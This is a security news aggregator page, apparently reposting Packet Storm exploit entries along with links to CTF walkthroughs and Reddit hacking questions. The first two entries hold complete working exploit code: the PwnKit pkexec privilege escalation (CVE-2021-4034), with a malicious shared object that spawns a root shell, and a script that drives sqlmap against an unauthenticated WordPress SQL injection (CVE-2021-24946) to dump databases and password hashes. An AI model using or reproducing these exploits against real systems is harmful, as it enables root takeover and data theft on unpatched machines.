Exploit Collector
PolicyKit-1 0.105-31 Privilege Escalation

https://3.bp.blogspot.com/-UEPmQpzFyCs/WWlvQSuTgiI/AAAAAAAAINA/LFaHvgtClFA67K--PZO5ZJSS69Dsl8UBACLcBGAs/s1600/h31.png
PolicyKit-1 version 0.105-31 pkexec local privilege escalation exploit.

MD5 | 306be3c9311743edfa3eecbd845b8ac0

Download
# Exploit Title: PolicyKit-1 0.105-31 - Privilege Escalation
# Exploit Author: Lance Biggerstaff
# Original Author: ryaagard (https://github.com/ryaagard)
# Date: 27-01-2022
# Github Repo: https://github.com/ryaagard/CVE-2021-4034
# References: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt

# Description: The exploit consists of three files `Makefile`, `evil-so.c` & `exploit.c`

##### Makefile #####

all:
gcc -shared -o evil.so -fPIC evil-so.c
gcc exploit.c -o exploit

clean:
rm -r ./GCONV_PATH=. && rm -r ./evildir && rm exploit && rm evil.so

#################

##### evil-so.c #####

#include <stdio.h
#include <stdlib.h
#include <unistd.h

void gconv() {}

void gconv_init() {
setuid(0);
setgid(0);
setgroups(0);

execve("/bin/sh", NULL, NULL);
}

#################

##### exploit.c #####

#include <stdio.h
#include <stdlib.h

#define BIN "/usr/bin/pkexec"
#define DIR "evildir"
#define EVILSO "evil"

int main()
{
char *envp[] = {
DIR,
"PATH=GCONV_PATH=.",
"SHELL=ryaagard",
"CHARSET=ryaagard",
NULL
};
char *argv[] = { NULL };

system("mkdir GCONV_PATH=.");
system("touch GCONV_PATH=./" DIR " && chmod 777 GCONV_PATH=./" DIR);
system("mkdir " DIR);
system("echo 'module\tINTERNAL\t\t\tryaagard//\t\t\t" EVILSO "\t\t\t2' > " DIR "/gconv-modules");
system("cp " EVILSO ".so " DIR);

execve(BIN, argv, envp);

return 0;
}

#################

Source:packetstormsecurity.com

Exploit Collector
WordPress Modern Events Calendar 6.1 SQL Injection

https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png WordPress Modern Events Calendar plugin versions 6.1 and below suffer from an unauthenticated remote SQL injection vulnerability.

MD5 | 072f2b4d4bc04c1eb3516c69bee38723Download # Exploit Title: WordPress Plugin Modern Events Calendar V 6.1 - SQL Injection (Unauthenticated)
# Date 26.01.2022
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.6.1.0.zip
# Version: <=
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-24946
# CWE: CWE-89
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24946/README.md

'''
Description:
The Modern Events Calendar Lite WordPress plugin before 6.1.5 does not sanitise and escape the time parameter
before using it in a SQL statement in the mec_load_single_page AJAX action, available to unauthenticated users,
leading to an unauthenticated SQL injection issue
'''

#Banner:
banner = '''

.oOOOo. o 'O o.OOoOoo
.O o O o O .oOOo. .oOOo. .oOOo. oO .oOOo. o O .oOOo. o O .oOOo.
o o O o O O o O O O O o O o O o O
o o o ooOO o o O o o o o o o O o o o
o O O' O ooooooooo O' o o O' O ooooooooo O' OooOOo `OooOo OooOOo OoOOo.
O `o o o O O O O o O O O O O O
`o .o `o O O .O o O .O O .O o o o O o
`OoooO' `o' ooOooOoO oOoOoO `OooO' oOoOoO OooOO oOoOoO O `OooO' O `OooO'

[+] Modern Events Calendar Lite SQL-Injection
[@] Developed by Ron Jost (Hacker5preme)

'''

print(banner)

import requests
import argparse
from datetime import datetime
import os

# User-Input:
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Modern Events Calendar SQL-Injection (unauthenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
# Exploit:
print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
print('[*] Payload for SQL-Injection:')
exploitcode_url = r'sqlmap "http://' + target_ip + ':' + target_port + wp_path + r'wp-admin/admin-ajax.php?action=mec_load_single_page&time=2" '
exploitcode_risk = ' -p time'
print(' Sqlmap options:')
print(' -a, --all Retrieve everything')
print(' -b, --banner Retrieve DBMS banner')
print(' --current-user Retrieve DBMS current user')
print(' --current-db Retrieve DBMS current database')
print(' --passwords Enumerate DBMS users password hashes')
print(' --tables Enumerate DBMS database tables')
print(' --columns Enumerate DBMS database table column')
print(' --schema Enumerate DBMS schema')
print(' --dump Dump DBMS database table entries')
print(' --dump-all Dump all DBMS databases tables entries')
retrieve_mode = input('Which sqlmap option should be used to retrieve your information? ')
exploitcode = exploitcode_url + retrieve_mode + exploitcode_risk
os.system(exploitcode)
print('Exploit finished at: ' + str(datetime.now().strftime('%H:%M:%S'))) Source:packetst[...]

Hacking on Medium
WGEL CTF — TryHackMe Walkthrough

https://cdn-images-1.medium.com/max/960/1*oPDRJ5Zos45byqxZmOcvuQ.png
A comprehensive walkthrough of TryHackMe’s WGEL CTF

Continue reading on InfoSec Write-ups »

Hacking on Medium
Bounty Hacker CTF — TryHackMe Walkthrough

https://cdn-images-1.medium.com/max/960/1*trp6_k17oeWOylQFyyG4vw.png
A comprehensive walkthrough of TryHackMe’s Bounty Hacker CTF

Continue reading on InfoSec Write-ups »

Hacking on Medium
Custom Typescript Transformers with Angular v11, v12 and v13

https://cdn-images-1.medium.com/max/2600/0*lG6RbczUiQM3EFik
Today I will describe the solution I have implemented to use my transformer in Relay Angular.

Continue reading on Medium »

Hacking on Medium
About Hacking (Part 1)

Hackers are very common in today’s world. And unfortunately, not having the necessary security measures usually means that a hacker can…

Continue reading on Medium »

Hacking on Medium
Qué es el Vishing: estafa a través de llamadas o mensajes de voz

https://cdn-images-1.medium.com/max/1532/0*OSI3xekwAtY_csUE
PUBLICADO EN 27 ENERO, 2022 POR EHACKING

Continue reading on Medium »

Book Request for Sailor
https://www.reddit.com/r/Pentesting/comments/se1evj/book_request_for_sailor/

<!-- SC_OFF -->Currently I am sailing around South America and have limited data I can use each month, I am currently taking a video course that occupies most of my data. On the slow days when there is no service or just whenever, is there a book on ethical hacking that is mostly just theory and not projects (that require data or a charged laptop)? I'm thinking a book that really covers the fundamentals with examples. Thanks! <!-- SC_ON --> submitted by /u/s-pi1313 (https://www.reddit.com/user/s-pi1313)
[link] (https://www.reddit.com/r/Pentesting/comments/se1evj/book_request_for_sailor/) [comments] (https://www.reddit.com/r/Pentesting/comments/se1evj/book_request_for_sailor/)

hacking: security in practice
Hacking on macOS

Hey guys, I’m pretty new to hacking I have a bit experience with Ubuntu and Kali Linux, but switched to macOS because it’s a more stable OS compared to Kali Linux and I’m currently studying computer science. Sadly we don’t talk that much about IT security. Long story short, I wanted to ask you guys whether you have some tips for someone using macOS as their main OS for hacking. I can’t use vmware, virtualbox etc. because I own a MacBook with 1,4GHz quadcore processor and 8gb ram. The battery life isn’t pretty long. It lasts about 5-6hrs and I don’t want to dualboot.

My plan is to switch to a MacBook Air M1 with 1TB or 512GB SSD and 16GB RAM and use a virtual machine. But until I switch to M1 macbooks, I want to use macOS compatible tools like metasploit, nmap, gobuster etc.

Do you have any tips for someone using macOS for hacking? Except something like (use a virtual machine , dualboot etc.)

I‘m using my terminal a lot and got average linux skill and basic bash scripting skills.

There a lot of pentesting tools on github mostly written to be executed on linux distros like kali or ubuntu. A lot of tools can be installed via brew, but pentesting tools for kali from gitbub cant be used on macOS out of the box. I tried to change the intall bash scripts but the still are not working.

Any tips how to get linux (kali linux) tools working on macOS.

Thanks in advance

submitted by /u/FigmaWallSt
[link] [comments]

hacking: security in practice
Ways someone could have used my IP-address

Hi everyone.

Can you guys provide me ways of how someone else could have used my IP-address to do shady things online?

Examples like:

- Have actual access to my network.

- Have a backdoor to my PC which is connected to my network.

etc.

​

Please help.

submitted by /u/Witty_Control6793
[link] [comments]